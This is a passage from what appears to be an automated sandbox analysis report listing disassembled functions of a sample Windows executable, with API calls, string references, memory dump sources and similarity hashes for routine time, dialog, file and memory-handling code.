
EndDialog.USER32(?,00000001), ref: 000CC7F0
SendMessageW.USER32(?,00000080,00000001,?), ref: 000CC817
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 000CC830
SetWindowTextW.USER32(?,?), ref: 000CC841
GetDlgItem.USER32(?,00000065), ref: 000CC84A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 000CC85E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 000CC874

Strings

LICENSEDLG, xrefs: 000CC7B4

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$DialogParent
String ID: LICENSEDLG
API String ID: 4098686847-2177901306
Opcode ID: b61d054c2737956883441db64e44be467f3e3e4c88bb6c2441877b849911dc0e
Instruction ID: 0c82f59070540050659e02fdd76cac55aea6eb9298e90663d4837604d62f6b1f
Opcode Fuzzy Hash: b61d054c2737956883441db64e44be467f3e3e4c88bb6c2441877b849911dc0e
Instruction Fuzzy Hash: 9F21D632244604BBE7165B65EE49FBF3AADEB46B81F00801DF605E15A1CB529C419A71

Function 000BB5D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000BB5E2

Part of subcall function 000C26F1: GetSystemTime.KERNEL32(?), ref: 000C26FF
Part of subcall function 000C26F1: SystemTimeToFileTime.KERNEL32(?,?), ref: 000C270D

Part of subcall function 000C269A: __aulldiv.LIBCMT ref: 000C26A3

__aulldiv.LIBCMT ref: 000BB60E
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 000BB615
_swprintf.LIBCMT ref: 000BB640

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

_wcslen.LIBCMT ref: 000BB64A
_swprintf.LIBCMT ref: 000BB6A0
_wcslen.LIBCMT ref: 000BB6AA

Strings

%u.%03u, xrefs: 000BB630, 000BB694

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: d3bf9581fa2a0fac0cb60a79d8d1deb8c3c5f9a77b56f996273fc2d24a508d26
Instruction ID: 343801bb8d1a2f878031786e6db30a80a07c98ed159fcf66cc0ce625f468608e
Opcode Fuzzy Hash: d3bf9581fa2a0fac0cb60a79d8d1deb8c3c5f9a77b56f996273fc2d24a508d26
Instruction Fuzzy Hash: 53217172A043406FD614EF65DC85EDF77ECEB94700F00492AB545E7252DB74DA0887B6

Function 000CBC1B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 000CBC2F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 000CBC40
SystemTimeToFileTime.KERNEL32(?,?), ref: 000CBC4E
FileTimeToSystemTime.KERNEL32(?,?), ref: 000CBC5C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 000CBC77
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 000CBC9E
_swprintf.LIBCMT ref: 000CBCC4

Strings

%s %s, xrefs: 000CBCB9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: 01beef57f8664a78ba95db4217fbb442da8ea09662e79dc69cfadf98eeecac7e
Instruction ID: 2761196077935e15f01c581a4370fc49247e25797d62e846fa0afe59a508ca62
Opcode Fuzzy Hash: 01beef57f8664a78ba95db4217fbb442da8ea09662e79dc69cfadf98eeecac7e
Instruction Fuzzy Hash: C02117B250018CABEB21DFA0EC85EEF3BACFF19704F040066FA05E6011E724DA49CB60

Function 000D0EC0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,000BC43F,000BC441,00000000,00000000,D4CE042F,00000001,00000000,00000000,000BC32C,?,?,?,000BC43F,ROOT\CIMV2), ref: 000D0F49
MultiByteToWideChar.KERNEL32(00000000,00000000,000BC43F,?,00000000,00000000,?,?,?,?,?,000BC43F), ref: 000D0FC4
SysAllocString.OLEAUT32(00000000), ref: 000D0FCF
_com_issue_error.COMSUPP ref: 000D0FF8
_com_issue_error.COMSUPP ref: 000D1002
GetLastError.KERNEL32(80070057,D4CE042F,00000001,00000000,00000000,000BC32C,?,?,?,000BC43F,ROOT\CIMV2), ref: 000D1007
_com_issue_error.COMSUPP ref: 000D101A
GetLastError.KERNEL32(00000000,?,000BC43F,ROOT\CIMV2), ref: 000D1030
_com_issue_error.COMSUPP ref: 000D1043

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 694355eec166bd39628bb676df1277b34d548b4bfa260e37dcd655f4b859de9f
Instruction ID: 2b7e7719d24b8f8a2d293481fc0cc03d16e7f33ba59d4f92ca4a297b04a3fece
Opcode Fuzzy Hash: 694355eec166bd39628bb676df1277b34d548b4bfa260e37dcd655f4b859de9f
Instruction Fuzzy Hash: B141E771A00345ABD7109F68DC45BEEBBA9EF48710F20426BF509E7381DB7599408BB5

Function 000CE8CF Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000CE8EE
ShowWindow.USER32(?,00000000), ref: 000CEA5D
GetExitCodeProcess.KERNEL32(?,?), ref: 000CEA99
CloseHandle.KERNEL32(?), ref: 000CEABF
ShowWindow.USER32(?,00000001), ref: 000CEB21

Strings

.inf, xrefs: 000CE9DA
.exe, xrefs: 000CEAC9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitHandleProcess_wcslen
String ID: .exe$.inf
API String ID: 783751319-3750412487
Opcode ID: fc7d27aceffcbf349a6e0ad2e4eff3e65c863da54c430f36654b99415e727376
Instruction ID: e610c5b062e1a4d2b462b4596559076bef463b796179262cbcb37c0d74798815
Opcode Fuzzy Hash: fc7d27aceffcbf349a6e0ad2e4eff3e65c863da54c430f36654b99415e727376
Instruction Fuzzy Hash: 6E51BC311083C0AEEB719B60D844FBFBBE5EF84744F08881EF5C597191EB7199848B92

Function 000BA5E9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000BA5EE
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 000BA611
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 000BA630

Part of subcall function 000BD6A7: _wcslen.LIBCMT ref: 000BD6AF

Part of subcall function 000C3306: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013306,000BD523,00000000,.exe,?,?,00000800,?,?,?,000C9E4C), ref: 000C331C

_swprintf.LIBCMT ref: 000BA6CC

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

MoveFileW.KERNEL32(?,?), ref: 000BA73B
MoveFileW.KERNEL32(?,?), ref: 000BA77B

Strings

rtmp%d, xrefs: 000BA6B5

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: ce6513ceb75d26d0714434ac2392b044b23284a097a0cb98d376fcec9e4fc81d
Instruction ID: ec806c2323a60b39a1c6abf1af5234ccb0ce1331e45cd771d5bb857ddcb626a7
Opcode Fuzzy Hash: ce6513ceb75d26d0714434ac2392b044b23284a097a0cb98d376fcec9e4fc81d
Instruction Fuzzy Hash: C3413D71A545696ACB20ABA0CC85EEF77BCFF56340F0404AAB545E3046EF748A85CF61

Function 000C2528 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 000C253E

Part of subcall function 000BC619: GetVersionExW.KERNEL32(?), ref: 000BC63E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 000C2561
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 000C2573
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 000C2584
SystemTimeToFileTime.KERNEL32(?,?), ref: 000C2594
SystemTimeToFileTime.KERNEL32(?,?), ref: 000C25A4
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 000C25DF
__aullrem.LIBCMT ref: 000C2689

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: fc0dd195213154c672eba198532d7283972872e7436b3560ebb47ffc4fa3920e
Instruction ID: d93ec87814b1afe725a4b4eb2332aaee93e700952623f51cf719d5e639e962b9
Opcode Fuzzy Hash: fc0dd195213154c672eba198532d7283972872e7436b3560ebb47ffc4fa3920e
Instruction Fuzzy Hash: 1E4137B1508345AFD710DF65C884A6FBBE9FB88714F00892EF596D2610E738E549CB62

Function 000CAD0E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000CAD1A

Strings

<style>, xrefs: 000CAE40
>, xrefs: 000CAD5B
</style>, xrefs: 000CAE62
</p>, xrefs: 000CADF8
<br>, xrefs: 000CAE0E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: c902a21e84e434786f7612df4e258221ff71020d6639374a807df9febe438817
Instruction ID: 40ef1ad7823ac90f7690ccdc9bd8e3fbd9b855d84aec8b175c80a371fee1973b
Opcode Fuzzy Hash: c902a21e84e434786f7612df4e258221ff71020d6639374a807df9febe438817
Instruction Fuzzy Hash: 3251462674036B95DB705B285811FBF63E0DF6235AF64442EF9C38B6C1FA658D8182A2

Function 000E083D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,000E0FB2,00000000,00000000,00000000,00000000,00000000,000D659D), ref: 000E087F
__fassign.LIBCMT ref: 000E08FA
__fassign.LIBCMT ref: 000E0915
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 000E093B
WriteFile.KERNEL32(?,00000000,00000000,000E0FB2,00000000,?,?,?,?,?,?,?,?,?,000E0FB2,00000000), ref: 000E095A
WriteFile.KERNEL32(?,00000000,00000001,000E0FB2,00000000,?,?,?,?,?,?,?,?,?,000E0FB2,00000000), ref: 000E0993

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 2e14b83c446d1dd12d2c6207ffd1bbfa5b2587a4ae5ce477bb516e701abbe424
Instruction ID: a23b3b3ecf01668a4616ceb428e056b29058dcb91e142cc8b47946610a46021e
Opcode Fuzzy Hash: 2e14b83c446d1dd12d2c6207ffd1bbfa5b2587a4ae5ce477bb516e701abbe424
Instruction Fuzzy Hash: 7551B3B1A002899FDB10CFA9DC85BEEBBF8EF09310F14415AE595F7252E7749980CB60

Function 000D3A80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000D3AB7
___except_validate_context_record.LIBVCRUNTIME ref: 000D3ABF
_ValidateLocalCookies.LIBCMT ref: 000D3B48
__IsNonwritableInCurrentImage.LIBCMT ref: 000D3B73
_ValidateLocalCookies.LIBCMT ref: 000D3BC8

Strings

csm, xrefs: 000D3B5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5eeee65ebbaca63fe507331a3da9b33ce63024a275acfea12236a19c5f78bde0
Instruction ID: 6585911822f965a2be77a97c121f7da6d0934265edc020c41d733abc8a2faca6
Opcode Fuzzy Hash: 5eeee65ebbaca63fe507331a3da9b33ce63024a275acfea12236a19c5f78bde0
Instruction Fuzzy Hash: A941A334A003189FCF50DF69C885A9EBBF5AF44324F148167EA186B353D735AA15CFA2

Function 000CA965 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000CA96E
_wcslen.LIBCMT ref: 000CA9A3

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 000CA997
<br>, xrefs: 000CA9EF
, xrefs: 000CA9C0
 , xrefs: 000CAA31

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: f6109bd105f28865ecb8f6563ec5d55a1fd30dd8b2dc5df478c1521ca180f96b
Instruction ID: d65f9e943c99af93c695e9cd59ee51a78ee4a13ca996ec1534191c716cc6953f
Opcode Fuzzy Hash: f6109bd105f28865ecb8f6563ec5d55a1fd30dd8b2dc5df478c1521ca180f96b
Instruction Fuzzy Hash: D3312C22744749AAD634AB54AC42FBE73E4EB51328F60842FF59557291FBB0AC44C3B3

Function 000DDA54 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000DDA18: _free.LIBCMT ref: 000DDA41

_free.LIBCMT ref: 000DDAA2

Part of subcall function 000DA65A: RtlFreeHeap.NTDLL(00000000,00000000,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?), ref: 000DA670
Part of subcall function 000DA65A: GetLastError.KERNEL32(?,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?,?), ref: 000DA682

_free.LIBCMT ref: 000DDAAD
_free.LIBCMT ref: 000DDAB8
_free.LIBCMT ref: 000DDB0C
_free.LIBCMT ref: 000DDB17
_free.LIBCMT ref: 000DDB22
_free.LIBCMT ref: 000DDB2D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: 920d73d21fce31cd11168c1be65cb8cfcb23eb9ff108a51ed959938c35b10519
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: BB111F71A44B04FAD620BBB4CC0BFCB779C6F15700F448C17B29A7A293DA65B50547B2

Function 000CF76A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,000CF7E5,000CF748,000CF9E9), ref: 000CF781
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 000CF797
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 000CF7AC

Strings

ReleaseSRWLockExclusive, xrefs: 000CF7A1
KERNEL32.DLL, xrefs: 000CF77C
AcquireSRWLockExclusive, xrefs: 000CF791

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 07262f634c715ed95769f1c6d5a7932f64e4b624ecf205459cc72cfb4d9c6ed0
Instruction ID: ba701e9b8f75bb064dbca4d362c05809fcfebea073f3444b166582e1c64eb96f
Opcode Fuzzy Hash: 07262f634c715ed95769f1c6d5a7932f64e4b624ecf205459cc72cfb4d9c6ed0
Instruction Fuzzy Hash: C9F022323092635B9F704FA46EC4FBE22CA8F057A0360063DDA20F7A44E320CC8046D2

Function 000C2789 Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 000C27E1

Part of subcall function 000BC619: GetVersionExW.KERNEL32(?), ref: 000BC63E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 000C2805
FileTimeToSystemTime.KERNEL32(?,?), ref: 000C281F
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 000C2832
SystemTimeToFileTime.KERNEL32(?,?), ref: 000C2842
SystemTimeToFileTime.KERNEL32(?,?), ref: 000C2852

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
